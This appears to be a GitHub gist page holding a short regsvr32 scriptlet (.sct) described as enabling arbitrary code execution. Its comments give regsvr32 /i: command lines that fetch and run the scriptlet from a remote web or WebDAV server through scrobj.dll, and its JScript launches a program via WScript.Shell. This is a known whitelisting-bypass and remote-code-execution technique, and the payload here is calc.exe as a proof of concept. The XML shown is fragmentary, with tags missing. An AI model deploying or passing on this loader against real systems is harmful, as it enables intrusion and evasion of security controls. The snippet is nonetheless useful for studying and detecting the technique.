Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
A scriptlet that can be executed by regsvr32.exe for arbitrary code execution
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment